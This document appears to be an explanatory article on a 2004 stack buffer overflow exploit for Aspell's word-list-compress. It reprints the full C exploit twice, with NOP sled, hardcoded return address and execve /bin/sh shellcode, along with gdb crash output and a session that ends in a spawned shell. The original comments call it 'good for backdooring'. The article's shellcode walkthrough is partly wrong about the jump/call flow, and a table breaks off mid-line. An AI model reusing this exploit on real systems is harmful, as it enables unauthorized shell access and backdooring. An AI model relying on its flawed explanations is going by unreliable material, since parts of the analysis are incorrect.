Understanding the Aspell `word-list-compress` Local Privilege Escalation Exploit

Understanding the Aspell word-list-compress Local Privilege Escalation Exploit
What this paper is
This paper details a local privilege escalation exploit for the word-list-compress utility, published in 2004. The exploit targets a stack buffer overflow vulnerability within the word-list-compress program. By overflowing a buffer on the stack, an attacker can overwrite the return address, redirecting program execution to custom shellcode. This shellcode, when executed, spawns a shell with the privileges of the user running word-list-compress. Since word-list-compress is not setuid, this exploit is primarily useful for gaining a persistent shell or further compromising a system where a user has limited access.
Simple technical breakdown
The word-list-compress program, when processing input, has a buffer that is too small to hold a large amount of data. If an attacker provides more data than the buffer can handle, this excess data spills over onto the program's stack. The stack also stores important information like the return address, which tells the program where to go back to after a function finishes.
The exploit works by:
- Crafting a malicious input string: This string contains a large number of "NOP" (No Operation) instructions, followed by the attacker's shellcode, and then a specific memory address.
- Overwriting the return address: When
word-list-compressprocesses this oversized input, the excess data overwrites the stack, including the return address. The attacker carefully places a target address (which points to their shellcode) in the overwritten return address location. - Executing shellcode: When the vulnerable function in
word-list-compressfinishes, instead of returning to its normal execution path, it jumps to the address the attacker provided. This address points to the shellcode, which then executes, typically spawning a shell.
The exploit uses environment variables to pass the crafted input to word-list-compress.
Complete code and payload walkthrough
Let's break down the provided C code and its components.
/*
Fuck private exploits .
Fuck iranian hacking (and security !!) teams who are just some fucking kiddies.
Fuck all "Security money makers"
word-list-compress local exploit - SECU
Coded by : c0d3r / root . razavi1366[at]yahoo[dot]com
word-list-compress is not setuid . so good for backdooring .
gratz fly to : LorD - NT - sIiiS - vbehzadan - hyper sec members.
we are : LorD - c0d3r - NT ; irc.persiairc.com 6667 #ihs
*/
#include<stdio.h>
#include<stdlib.h>
#define NOP 0x90
#define address 0xbffff2b8
#define size 350
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
int main()
{
char shellcode[] = /* 37 bytes shellcode written by myself */
"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c"
"\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff"
"\xff/bin/sh";
char exploit[size] ;
char *ptr;
long *addr_ptr;
char test[300]; // This variable is declared but not used in the exploit logic.
long addr; // This variable is declared but not used in the exploit logic.
int NL= 180 ; // This variable controls the offset for placing the shellcode.
int i ;
int x=0 ;
ptr = exploit;
addr_ptr = (long *) ptr;
// Stage 1: Fill the buffer with return addresses
for(i=0;i < size;i+=4){
*(addr_ptr++) = address; // Overwrites the buffer with the target address (0xbffff2b8)
}
// Stage 2: Place NOP sled
for(i=0 ; i < NL ; i++ )
{
exploit[i] = NOP; // Fills the beginning of the buffer with NOP instructions
}
// Stage 3: Inject shellcode
if(shellcode != NULL){
while(x != strlen(shellcode)){
exploit[NL] = shellcode[x]; // Copies shellcode into the buffer after the NOP sled
NL+=1;x+=1;
}
}
exploit[size] = 0x00; // Null-terminate the exploit string
// Print information and set up environment
printf("word-list-compress local exploit by root / c0d3r\n");
printf("stack pointer: 0x%x\n", get_sp());
printf("using return address : 0x%x\n", address);
printf("using %d bytes shellcode\n", sizeof(shellcode));
setenv("exploit", exploit, 1); // Sets the 'exploit' environment variable
putenv(exploit); // Also attempts to put the exploit string into the environment (less common usage, setenv is preferred)
printf("exploit string loaded into the enviroment\n");
system("echo $exploit | word-list-compress c"); // Executes the vulnerable command
return 0;
}Shellcode Breakdown:
The shellcode is 37 bytes long and is designed to execute /bin/sh.
"\xeb\x16" ; JMP short 0x16 (jump forward 22 bytes) - This is the jump to the actual shellcode instructions.
"\x5b" ; POP EBX - Pops the next value from the stack into EBX. In this case, it's the address of "/bin/sh".
"\x31\xc0" ; XOR EAX, EAX - Clears EAX to 0.
"\x88\x43\x07" ; MOV [EBX+0x7], AL - Moves the lower byte of EAX (which is 0) to the byte at EBX+7. This is likely null-terminating a string or part of preparing arguments.
"\x89\x5b\x08" ; MOV [EBX+0x8], EBX - Moves the value of EBX (address of "/bin/sh") to EBX+8. This is likely setting up the argv[0] pointer.
"\x89\x43\x0c" ; MOV [EBX+0x0c], EAX - Moves EAX (0) to EBX+12. This is likely setting up argv[1] to NULL.
"\xb0\x0b" ; MOV AL, 0x0b - Sets AL (lower byte of EAX) to 11. This is the syscall number for `execve`.
"\x8d\x4b\x08" ; LEA ECX, [EBX+0x8] - Loads the effective address of EBX+8 into ECX. This points to the argument list for execve.
"\x8d\x53\x0c" ; LEA EDX, [EBX+0x0c] - Loads the effective address of EBX+12 into EDX. This points to the environment pointer (which is NULL here).
"\xcd\x80" ; INT 0x80 - Triggers the Linux system call.
"\xe8\xe5\xff\xff\xff" ; CALL $-26 (relative jump back 26 bytes) - This is a relative jump that effectively points back to the start of the shellcode. The target is `\xeb\x16`.
"/bin/sh" ; The string "/bin/sh" which will be executed.Explanation of Shellcode Execution Flow:
\xeb\x16: Jumps forward 22 bytes to the\x5binstruction.\x5b:POP EBX. The address of/bin/sh(which is placed immediately after the shellcode in the exploit buffer) is pushed onto the stack by the exploit and then popped into EBX. So, EBX now points to/bin/sh.\x31\xc0:XOR EAX, EAX. Sets EAX to 0.\x88\x43\x07:MOV [EBX+0x7], AL. Writes a null byte at EBX+7. This is likely to null-terminate the string/bin/shif it wasn't already, or to prepare it forexecve.\x89\x5b\x08:MOV [EBX+0x8], EBX. Writes the address of/bin/sh(stored in EBX) into EBX+8. This is setting up theargv[0]pointer forexecve.\x89\x43\x0c:MOV [EBX+0x0c], EAX. Writes 0 (from EAX) into EBX+12. This setsargv[1]to NULL, indicating the end of the argument list.\xb0\x0b:MOV AL, 0x0b. Sets the lower byte of EAX to 11. This is the syscall number forexecve.\x8d\x4b\x08:LEA ECX, [EBX+0x8]. Loads the address of EBX+8 (which points to the start of the argument list, i.e., the address of/bin/sh) into ECX. ECX will be theargvpointer forexecve.\x8d\x53\x0c:LEA EDX, [EBX+0x0c]. Loads the address of EBX+12 (which is NULL) into EDX. EDX will be theenvppointer forexecve.\xcd\x80:INT 0x80. Executes the system call. Since EAX is 11, ECX points to the arguments, and EDX points to the environment, this invokesexecve("/bin/sh", argv, envp).\xe8\xe5\xff\xff\xff:CALL $-26. This is a relative jump that effectively jumps back to the start of the shellcode (\xeb\x16). TheCALLinstruction pushes the return address onto the stack, and then the\xeb\x16jump immediately executes. The\xe8instruction's operand-26(0xfffffffe5) is calculated relative to the instruction after theCALL. This effectively makes theCALLinstruction jump to the\xeb\x16instruction.
Mapping of Code Fragments to Practical Purpose:
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
/*
Fuck private exploits .
Fuck iranian hacking (and security !!) teams who are just some fucking kiddies.
Fuck all "Security money makers"
word-list-compress local exploit - SECU
Coded by : c0d3r / root . razavi1366[at]yahoo[dot]com
word-list-compress is not setuid . so good for backdooring .
gratz fly to : LorD - NT - sIiiS - vbehzadan - hyper sec members.
we are : LorD - c0d3r - NT ; irc.persiairc.com 6667 #ihs
*/
#include<stdio.h>
#include<stdlib.h>
#define NOP 0x90
#define address 0xbffff2b8
#define size 350
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
int main()
{
char shellcode[] = /* 37 bytes shellcode written by myself */
"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c"
"\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff"
"\xff/bin/sh";
char exploit[size] ;
char *ptr;
long *addr_ptr;
char test[300];
long addr;
int NL= 180 ;
int i ;
int x=0 ;
ptr = exploit;
addr_ptr = (long *) ptr;
for(i=0;i < size;i+=4){
*(addr_ptr++) = address;
}
for(i=0 ; i < NL ; i++ )
{
exploit[i] = NOP;
}
if(shellcode != NULL){
while(x != strlen(shellcode)){
exploit[NL] = shellcode[x];
NL+=1;x+=1;
}
}
exploit[size] = 0x00;
printf("word-list-compress local exploit by root / c0d3r\n");
printf("stack pointer: 0x%x\n", get_sp());
printf("using return address : 0x%x\n", address);
printf("using %d bytes shellcode\n", sizeof(shellcode));
setenv("exploit", exploit, 1);
putenv(exploit);
printf("exploit string loaded into the enviroment\n");
system("echo $exploit | word-list-compress c");
return 0;
}
/*
root@darkstar:/sploits# word-list-compress
Compresses or uncompresses sorted word lists.
For best result the locale should be set to C
before sorting by setting the environmental
variable LANG to "C" before sorting.
Copyright 2001 by Kevin Atkinson.
Usage: word-list-compress c[ompress]|d[ecompress]
root@darkstar:/sploits#
************************************************************
root@darkstar:/sploits# echo `perl -e 'print "A"x300'` |
word-list-compress c
Segmentation fault (core dumped)
root@darkstar:/sploits# gdb -c core
GNU gdb 6.1.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux".
Core was generated by `word-list-compress c'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) info registers
eax 0x0 0
ecx 0x40154c20 1075137568
edx 0x0 0
ebx 0x41414141 1094795585
esp 0xbffff560 0xbffff560
ebp 0x41414141 0x41414141
esi 0x41414141 1094795585
edi 0x41414141 1094795585
eip 0x41414141 0x41414141
eflags 0x210246 2163270
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
---Type <return> to continue, or q <return> to quit---
**********************************************************
root@darkstar:/sploits# gcc word-list-compress.c -o word-list-compress
word-list-compress.c:65:2: warning: no newline at end of file
root@darkstar:/sploits# ./word-list-compress
word-list-compress local exploit by root / c0d3r
stack pointer: 0xbffff268
using return address : 0xbffff2b8
using 37 bytes shellcode
exploit string loaded into the enviroment
[1 C[C KS /bin/sh sh-2.05b# echo IHS
IHS
sh-2.05b#
************************************************************
thats all . have fun !
*/
// milw0rm.com [2004-12-01]